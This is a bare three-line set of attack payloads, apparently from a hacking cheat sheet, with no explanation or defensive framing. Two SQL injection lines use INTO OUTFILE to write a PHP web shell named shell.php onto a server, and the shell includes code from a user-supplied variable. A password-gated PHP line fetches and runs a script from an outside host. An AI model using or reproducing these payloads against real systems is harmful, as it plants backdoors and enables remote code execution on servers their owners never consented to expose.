SELECT name FROM table WHERE id='0' INTO OUTFILE '/path/to/file/shell.php';
<? if ($_POST ['someshit'] == "killme") { include ("http://someshit.nm.ru/br/s.php"); } else { die; } ?>
SELECT '<? include($i); ?>' FROM table INTO OUTFILE '/path/to/file/shell.php';